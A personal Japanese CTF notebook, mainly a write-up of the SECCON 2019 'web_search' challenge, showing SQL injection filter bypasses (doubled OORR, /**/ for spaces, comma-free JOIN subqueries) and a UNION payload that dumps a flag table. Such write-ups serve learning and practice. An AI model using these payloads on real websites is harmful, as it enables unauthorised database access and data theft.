これはなに
- CTFの解法を主にまとめていきます.
- 最初は一つの記事として作りますが,後に分離させるかも
- 大体自分で見返す用
- なんとなくジャンル的な分類でまとめては行きたい
- 開催された大会ごとにまとめるということはしませんが,見出しの後ろにつけます
主な章立て
## ジャンル
### 問題名 (出題元) : XSSとかSQLiとかCodeInjectionとか...
解けたか解けなかったとか,所感とか書く
#### 問題と試行
ここに問題と,その試行の記録などを書く
#### 解法
ここに解法,まとめを書く
#### 知見
ここに解くことによって得た知見を書く
本体
Injection
web_search (SECCON2019) : SQLi
- 解けなかった(2019/10/22)
- 基礎知識の不足が問題
問題と試行
-
SQLiだろうなという印象があったのでとりあえず
';--
とかやってみた,エラー. -
次に
';#
でやってみる,普通の結果が返ってきた -> MySQLかな -
元のSQLは
SELECT rfc, desc from rfc_table WHERE rfc LIKE 'RFC%' AND desc LIKE '%ココ%';
かなといった所感 -
' or 1;#
とかやってみる. ->';#
になって?????? << ここでお手上げ
解法
- SQLiである.またMySQLで動いている.
- サーバ側で
,
,or
がエスケープされている - ORだけ再帰的にエスケープされていない.
- これにより
OORR
とすることでORをバイパスできる
- これにより
-
,
,- スペースに関しては,
/**/
でスペースに置き換わるようだ, -
,
が使えないことに関しては以下の方法で解決できるようだ,SELECT * (SELECT 1)a join (SELECT 2)b join ...
- joinしていって,お目当ての個数になるまでつなげる.
- スペースに関しては,
- まず全件表示
' OR(1)
-> flagがflagテーブルにあることを教えてくれる - flagテーブルの結果をunionで引っ付ける
- RFC番号とその説明なので,ID含めて3つでいいかな -> 3つ枠を用意しておく
hoge' UNION SELECT * FROM (SELECT * FROM flag)a JOIN (SELECT 1)b JOIN (SELECT 2)c;#
- 上記のスペースを
/**/
に置き換える.
結論
payload.sql
'or(1);#
hoge'/**/UNION/**/SELECT*FROM(SELECT*FROM/**/flag)a/**/join(SELECT/**/1)b/**/join(SELECT/**/2)c;#`
知見
-
/**/
はスペースに置き換えられる -
SELECT * FROM (SELECT 1)a JOIN(SELECT 2)b JOIN...
とカンマなしで取得 - とりあえず色々試してみる.
OR
とか特に動かしやすい物を,エスケープだけならSQLがエラーでもわかる -
OR(1)
という記法もある